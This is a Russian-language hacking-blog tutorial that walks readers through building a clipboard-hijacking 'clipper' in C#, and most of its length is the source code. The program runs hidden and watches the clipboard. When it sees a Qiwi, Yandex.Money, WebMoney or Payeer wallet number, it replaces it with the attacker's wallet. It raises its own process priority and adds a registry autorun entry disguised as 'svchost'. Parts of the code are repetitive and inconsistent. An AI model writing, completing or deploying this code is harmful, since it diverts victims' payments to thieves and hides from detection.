March 18, 2019

Пишем простой клипер на C# {BlackCoding}

http://tele.click/darkside_team

Привет хацкеры, сегодня мы поиграем в true malware coders. Напишем свой клипер на C#.

Время кодинга!

Для начала создаём консольное приложение с Framework 4.5.

Делаем программу скрытой:

Выбираем "приложение Windows".

Перейдём к коду, комментарии отмечены так: //это комментарий /* это тоже комментарий */

Необходимые юзинги:

using System;
using System.Windows.Forms;
using System.Threading;
using System.Diagnostics;
using Microsoft.Win32;

В main создаём цикл:

while (true)

Объявим переменные:

{

                string QiwiBY = "[qiwi]"; //Ваш киви кошель
                string QiwiUA = "[qiwi]"; //Ваш киви кошель
                string Qiwi2 = "[qiwi]"; //Ваш киви кошель
                string Qiwi = "[qiwi]"; //Ваш киви кошель
                string QiwiCZ = "[qiwi]"; //Ваш киви кошель
                string yandex = "[ya]"; // ЯД
                string WMZ = "[wmz]"; // WMZ
                string WMR = "[wmr]";
                string WMX = "[wmx]";
                string WMU = "[wmu]";
                string payeer = "[pa]";


                string buffer = Clipboard.GetText();

Теперь переходим к условиям и основному коду:

if (buffer.StartsWith("41") && buffer.Length == 15) //Проверяем буфер на яндекс "41"- номер начала кошелька, "15"- кол-во символов
                    Clipboard.SetText(yandex); //если опознали яндекс - меняем на свой
                if (buffer.Contains(" "))
                    Console.Write("");
                else
        if (buffer.StartsWith("41") && buffer.Length == 15)
                    Clipboard.SetText(yandex);


                if (buffer.Contains(" "))
                    Console.Write("");
                else
                    if (buffer.StartsWith("41") && buffer.Length == 15)
                    Clipboard.SetText(yandex);
                Thread.Sleep(150);

                //

if (buffer.StartsWith("89") && buffer.Length == 11)
                    Clipboard.SetText(Qiwi);
                if (buffer.Contains(" "))
                    Console.Write("");
                else
        if (buffer.StartsWith("89") && buffer.Length == 15)
                    Clipboard.SetText(Qiwi);


                if (buffer.Contains(" "))
                    Console.Write("");
                else
                    if (buffer.StartsWith("89") && buffer.Length == 15)
                    Clipboard.SetText(Qiwi);
                Thread.Sleep(150);

                //


                if (buffer.StartsWith("+79") && buffer.Length == 12)
                    Clipboard.SetText(Qiwi2);
                if (buffer.Contains(" "))
                    Console.Write("");
                else
        if (buffer.StartsWith("+79") && buffer.Length == 12)
                    Clipboard.SetText(Qiwi2);


                if (buffer.Contains(" "))
                    Console.Write("");
                else
                    if (buffer.StartsWith("+79") && buffer.Length == 12)
                    Clipboard.SetText(Qiwi2);
                Thread.Sleep(150);

                //

if (buffer.StartsWith("+380") && buffer.Length == 13)
                    Clipboard.SetText(QiwiUA);
                if (buffer.Contains(" "))
                    Console.Write("");
                else
        if (buffer.StartsWith("+380") && buffer.Length == 13)
                    Clipboard.SetText(QiwiUA);


                if (buffer.Contains(" "))
                    Console.Write("");
                else
                    if (buffer.StartsWith("+380") && buffer.Length == 13)
                    Clipboard.SetText(QiwiUA);
                Thread.Sleep(150);

                //


                if (buffer.StartsWith("+375") && buffer.Length == 13)
                    Clipboard.SetText(QiwiBY);
                if (buffer.Contains(" "))
                    Console.Write("");
                else
        if (buffer.StartsWith("+375") && buffer.Length == 13)
                    Clipboard.SetText(QiwiBY);


                if (buffer.Contains(" "))
                    Console.Write("Hello!");
                else
                    if (buffer.StartsWith("+375") && buffer.Length == 13)
                    Clipboard.SetText(QiwiUA);
                Thread.Sleep(150);

                //


                if (buffer.StartsWith("+77") && buffer.Length == 11)
                    Clipboard.SetText(QiwiCZ);
                if (buffer.Contains(" "))
                    Console.Write("");
                else
        if (buffer.StartsWith("+77") && buffer.Length == 11)
                    Clipboard.SetText(QiwiCZ);


                if (buffer.Contains(" "))
                    Console.Write("");
                else
                    if (buffer.StartsWith("+77") && buffer.Length == 11)
                    Clipboard.SetText(QiwiCZ);
                Thread.Sleep(150);

                //

                if (buffer.StartsWith("Z") && buffer.Length == 13)
                    Clipboard.SetText(WMZ);
                if (buffer.Contains(" "))
                    Console.Write("");
                else
        if (buffer.StartsWith("Z") && buffer.Length == 13)
                    Clipboard.SetText(WMZ);


                if (buffer.Contains(" "))
                    Console.Write("");
                else
                    if (buffer.StartsWith("Z") && buffer.Length == 13)
                    Clipboard.SetText(WMZ);
                Thread.Sleep(150);

                //

                if (buffer.StartsWith("R") && buffer.Length == 13)
                    Clipboard.SetText(WMR);
                if (buffer.Contains(" "))
                    Console.Write("");
                else
        if (buffer.StartsWith("R") && buffer.Length == 13)
                    Clipboard.SetText(WMR);


                if (buffer.Contains(" "))
                    Console.Write("");
                else
                    if (buffer.StartsWith("R") && buffer.Length == 13)
                    Clipboard.SetText(WMR);
                Thread.Sleep(150);

                //

                if (buffer.StartsWith("X") && buffer.Length == 13)
                    Clipboard.SetText(WMX);
                if (buffer.Contains(" "))
                    Console.Write("");
                else
        if (buffer.StartsWith("X") && buffer.Length == 13)
                    Clipboard.SetText(WMX);


                if (buffer.Contains(" "))
                    Console.Write("");
                else
                    if (buffer.StartsWith("X") && buffer.Length == 13)
                    Clipboard.SetText(WMX);
                Thread.Sleep(150);

                //

                if (buffer.StartsWith("U") && buffer.Length == 13)
                    Clipboard.SetText(WMU);
                if (buffer.Contains(" "))
                    Console.Write("");
                else
        if (buffer.StartsWith("U") && buffer.Length == 13)
                    Clipboard.SetText(WMU);


                if (buffer.Contains(" "))
                    Console.Write("");
                else
                    if (buffer.StartsWith("U") && buffer.Length == 13)
                    Clipboard.SetText(WMU);
                Thread.Sleep(150);

                //

if (buffer.StartsWith("P") && buffer.Length == 9)
                    Clipboard.SetText(payeer);
                if (buffer.Contains(" "))
                    Console.Write("");
                else
        if (buffer.StartsWith("P") && buffer.Length == 9)
                    Clipboard.SetText(payeer);


                if (buffer.Contains(" "))
                    Console.Write("");
                else
                    if (buffer.StartsWith("P") && buffer.Length == 9)
                    Clipboard.SetText(payeer);
                Thread.Sleep(150);

                Process ps = Process.GetCurrentProcess(); // ставим высокий приоритет
                ps.PriorityClass = ProcessPriorityClass.RealTime;
                Process p = new Process();   

                Microsoft.Win32.RegistryKey myKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true); // автозагрузка
                if (myKey.GetValue("svchost") == null)  /* Где svchost- именуем автозапуск. P.S. все это дело полетит в реестр. В диспетчере можно не искать */
                {
                    myKey.SetValue("svchost", "0", RegistryValueKind.DWord); //  дублируем имя файла (снова "svchost" в моем случае)
                }

Компилируем и у нас получается готовый клипер!

Если наберём побольше лайков, то допишем билдер.

Dark $ide - Твоя Тёмная Сторона